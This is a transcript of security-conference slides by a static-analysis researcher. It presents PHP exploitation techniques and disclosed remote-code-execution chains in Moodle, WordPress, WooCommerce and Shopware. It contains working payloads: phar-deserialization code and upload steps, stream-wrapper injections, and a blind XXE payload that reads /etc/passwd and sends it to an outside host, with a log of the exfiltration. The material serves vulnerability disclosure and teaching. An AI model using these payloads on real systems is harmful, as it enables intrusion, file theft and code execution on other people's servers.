new php exploitation techniques - rips · • a shopmanageruser gets the edit_users wordpress...
TRANSCRIPT
New PHP Exploitation TechniquesJohannes Dahse, PHP.RUHR 2018Dortmund, Germany, 08.11.2018
Johannes Dahse
Capture The Flag, 5 years
Security Consultant, 5 years
Developer RIPS open source (2009-2013)
Ph.D. Static Code Analysis @ Ruhr-University Bochum (2013-2016)
Co-Founder RIPS Technologies GmbH (since 2016)
@FluxReiners
blog.ripstech.com
Intro
What I love
Phar:// Deserialization
WooCommerce: File Delete to RCE
WordPress: File Delete to RCE
Moodle: Code Injection to RCE
Prestashop: Object Injection to RCE
LimeSurvey: pXSS to File Write to RCE
wooCommerce: SQLi to POI to RCE
Joomla!: Second-Order SQLi to RCE
CubeCart: SQLi to RCE
Shopware: POI to XXE to RCE
What I love
Phar:// Deserialization
WooCommerce: File Delete to RCE
WordPress: File Delete to RCE
Moodle: Code Injection to RCE
Prestashop: Object Injection to RCE
LimeSurvey: pXSS to File Write to RCE
wooCommerce: SQLi to POI to RCE
Joomla!: Second-Order SQLi to RCE
CubeCart: SQLi to RCE
Shopware: POI to XXE to RCE
Moodle < 3.5.0Code Injection
https://blog.ripstech.com/2018/moodle-remote-code-execution/
Code Injectionpublic function substitute_variables_and_eval($str)
{
// replace {x} and {y} with numbers like 1.2
$formula = $this->substitute_variables($str);
if ($error = find_formula_errors($formula)) {
return $error;
}
eval('$str = ' . $formula . ';'); // $str = exec($_GET[0]);
return $str;
}
function find_formula_errors($formula)
{
while (preg_match('~\\{[[:alpha:]][^>} <{"\']*\\}~', $formula, $regs)) {
$formula = str_replace($regs[0], '1', $formula);
}
// check formula
}
Code Injectionpublic function substitute_variables_and_eval($str)
{
// replace {x} and {y} with numbers like 1.2
$formula = $this->substitute_variables($str);
if ($error = find_formula_errors($formula)) {
return $error;
}
eval('$str = ' . $formula . ';');
return $str;
}
function find_formula_errors($formula)
{
while (preg_match('~\\{[[:alpha:]][^>} <{"\']*\\}~', $formula, $regs)) {
$formula = str_replace($regs[0], '1', $formula);
}
// check formula
}
Code Injection
WordPress <= 4.9.6File Delete to RCE
https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
Video: https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/
WordPress Author role required, but:
• Privilege escalation for multi-user sites (e.g. multiple journalists)
• New bug announced soon that allows privilege escalation from unauthenticated users
Comments on Requirements
WooCommerce <= 3.4.5File Delete
Privilege Escalation
https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
WooCommerce Privileges:
• A shop manager user gets the edit_users WordPress privilege upon plugin installation
• This privilege is permanently stored in the database
• This privilege allows to edit all users, including administrators
• To restrict this, WooCommerce adds a WordPress filter disallow_editing_of_admins
The Design Flaw:
• If the WooCommerce plugin gets disabled, the edit_users privilege still persists
• But the disallow_editing_of_admins filter of the plugin does not trigger anymore
• Usually, only administrators can disable plugins …
WordPress Design Flaw
File Delete Vulnerability
Video: https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/
Phar:// Deserialization
https://blog.ripstech.com/2018/new-php-exploitation-technique/
URL-style wrappers allowed in PHP file operations, e.g. data://, zlib://, php://
Often used for PHP file inclusion: include($_GET["filename"]);
What about other wrappers, like phar:// ?
Credits: Sam Thomas from Secarma
PHP Stream Wrappers
?filename=php://filter/convert.base64-encode/resource=index.php
?filename=data://text/plain;base64,cGhwaW5mbygpCg==
PHP Archive Files
Put entire PHP application into single file
Meta data is stored in serialized form!
Phar Files
PHP Archive Files
Put entire PHP application into single file
Meta data is stored in serialized form!
Phar Files
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
PHP Archive Files
Put entire PHP application into single file
Meta data is stored in serialized form!
Phar Files
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
// add object of any class as meta data
class AnyClass {}
$object = new AnyClass;
$object->data = 'rips';
$phar->setMetadata($object);
$phar->stopBuffering();
Any file operation allows phar://
On access, Phar meta data is unserialize()‘d
➔ PHP Object Injection
Phar:// Deserialization
class File {
function __destruct() {
unlink($this->data);
}
}
// output: rips
include( $_GET[filename] );
?filename=phar://test.phar
Any file operation allows phar://
On access, Phar meta data is unserialize()‘d
➔ PHP Object Injection
➔ Polyglot JPG/PHAR exists
Phar:// Deserialization
class File {
function __destruct() {
unlink($this->data);
}
}
// output: rips
include( $_GET[filename] );
?filename=phar://test.phar
Any file operation allows phar://
On access, Phar meta data is unserialize()‘d
➔ PHP Object Injection
➔ Polyglot JPG/PHAR exists
Phar:// Deserialization
class File {
function __destruct() {
unlink($this->data);
}
}
// output: rips
include( $_GET[filename] );
?filename=phar://test.phar
1. Inject serialized object into a phar file
2. Obfuscate phar file as avatar.jpg
3. Upload avatar.jpg to application
4. Exploit phar deserialization:
index.php?filename=phar://../uploads/avatar.jpg
Any File Operation
include('phar://test.phar');
file_get_contents('phar://test.phar');
file_put_contents('phar://test.phar', '');
copy('phar://test.phar', '');
Any File Operation
include('phar://test.phar');
file_get_contents('phar://test.phar');
file_put_contents('phar://test.phar', '');
copy('phar://test.phar', '');
file_exists('phar://test.phar');
is_executable('phar://test.phar');
is_file('phar://test.phar');
is_dir('phar://test.phar');
is_link('phar://test.phar');
is_writable('phar://test.phar‘);
fileperms('phar://test.phar');
fileinode('phar://test.phar');
filesize('phar://test.phar');
fileowner('phar://test.phar');
filegroup('phar://test.phar');
fileatime('phar://test.phar');
filemtime('phar://test.phar');
filectime('phar://test.phar');
filetype('phar://test.phar');
getimagesize('phar://test.phar');
exif_read_data('phar://test.phar');
stat('phar://test.phar');
lstat('phar://test.phar');
touch('phar://test.phar‘);
md5_file('phar://test.phar');
Shopware < 5.3.4PHP Object Instantiation
to XXE to RCE
https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/
PHP Object Instantiation != PHP Object Injection
PHP Object Instantiation
class Shopware_Controllers_Backend_ProductStream
{
public function loadPreviewAction()
{
$sorting = $this->Request()->getParam('sort');
$streamRepo->unserialize($sorting);
}
}
An attacker can instantiate PHP objects of arbitrary classes
PHP Object Instantiation
class LogawareReflectionHelper
{
public function unserialize($serialized)
{
foreach($serialized as $className => $arguments)
{
$reflectionClass = new \ReflectionClass($className);
$classes[] = $reflectionClass->newInstanceArgs($arguments);
}
}
}
An attacker can instantiate PHP objects of arbitrary classes
Invoke __construct(), __destruct(), __call(), but what if no interesting magic methods in code base?
PHP Object Instantiation
class LogawareReflectionHelper
{
public function unserialize($serialized)
{
foreach($serialized as $className => $arguments)
{
$reflectionClass = new \ReflectionClass($className);
$classes[] = $reflectionClass->newInstanceArgs($arguments);
}
}
}
Instantiate object of a PHP built-in class
PHP Built-in Class SimpleXMLElement
SimpleXMLElement::__construct (
$data = "https://ripstech.com/xxe.xml",
$options = LIBXML_NOENT, // enable substitution of entities
$data_is_url = true
)
https://ripstech.com/xxe.xml
https://ripstech.com/xxe.dtd
Blind XXE
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
https://ripstech.com/xxe.xml
https://ripstech.com/xxe.dtd
Blind XXE
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.xml HTTP/1.0" 200 -
1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 -
1.2.3.4 - - [07/Aug/2018 13:55:54] "GET /?cm9vdDp4mF....== HTTP/1.0" 200 -
https://ripstech.com/xxe.xml
https://ripstech.com/xxe.dtd
Code Execution
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<!ENTITY % data SYSTEM "phar://tmp/session_123123123">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
https://ripstech.com/xxe.xml
https://ripstech.com/xxe.dtd
Code Execution
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ripstech.com/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
<!ENTITY % data SYSTEM "phar://tmp/session_123123123">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://ripstech.com/?%data;'>">
XSS → POI → XMLi→ XXE → PHAR → POI → POP → RCE
- Remote Command Execution everywhere!
- New PHP exploit techniques
- File Delete Exploitation, unlink()
- Phar Deserialization, file*()
- PHP Object Instantiation, ReflectionClass()
- Sanitize/Validate user input as strict as possible
- Enjoy the awesome conference!
Summary
Questions?
More security bugs in our upcoming advent calendar 2018
www.ripstech.com